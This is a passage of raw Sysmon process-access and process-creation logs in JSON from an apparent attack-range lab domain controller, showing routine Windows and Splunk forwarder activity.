C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001070F40200}\r\nTargetProcessId: 3916\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001070F40200}","TargetProcessId":"3916","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1659,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.594\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.594","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1660,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.594\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.594","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1661,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.609\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.609","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1662,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.609\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 3184\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00109A010300}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x101541\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2dbe|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+155e9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+fa1f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1351d|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+127f4|C:\\Windows\\system32\\wbem\\wbemcore.dll+ced2|C:\\Windows\\system32\\wbem\\wbemcore.dll+d531|C:\\Windows\\system32\\wbem\\wbemcore.dll+104fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+25435|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+dc51|C:\\Windows\\system32\\wbem\\wbemcore.dll+2cfdf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22adf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.609","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"3184","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00109A010300}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x101541","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+20fee|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+2dbe|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+155e9|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1498a|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+146e6|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+140fe|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+fa1f|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+1351d|C:\\Windows\\system32\\wbem\\wmiprvsd.dll+127f4|C:\\Windows\\system32\\wbem\\wbemcore.dll+ced2|C:\\Windows\\system32\\wbem\\wbemcore.dll+d531|C:\\Windows\\system32\\wbem\\wbemcore.dll+104fe|C:\\Windows\\system32\\wbem\\wbemcore.dll+25435|C:\\Windows\\system32\\wbem\\wbemcore.dll+24a9a|C:\\Windows\\system32\\wbem\\wbemcore.dll+2485e|C:\\Windows\\system32\\wbem\\wbemcore.dll+dc51|C:\\Windows\\system32\\wbem\\wbemcore.dll+2cfdf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22adf|C:\\Windows\\system32\\wbem\\wbemcore.dll+22a19|C:\\Windows\\system32\\wbem\\wbemcore.dll+21f5a|C:\\Windows\\system32\\wbem\\wbemcore.dll+22711|C:\\Windows\\system32\\wbem\\wbemcore.dll+2d78c","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1663,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.750\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001070F40200}\r\nSourceProcessId: 3916\r\nSourceThreadId: 3920\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.750","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001070F40200}","SourceProcessId":"3916","SourceThreadId":"3920","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1664,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nProcessGuid: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nProcessId: 3984\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nParentProcessId: 3800\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","ProcessGuid":"{90617006-3FE5-5F2D-0000-0010BC070300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001027CB0200}","ParentProcessId":"3800","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1665,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.772\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nSourceProcessId: 3800\r\nSourceThreadId: 3804\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010BC070300}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14ab4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.772","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","SourceProcessId":"3800","SourceThreadId":"3804","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010BC070300}","TargetProcessId":"3984","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14ab4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 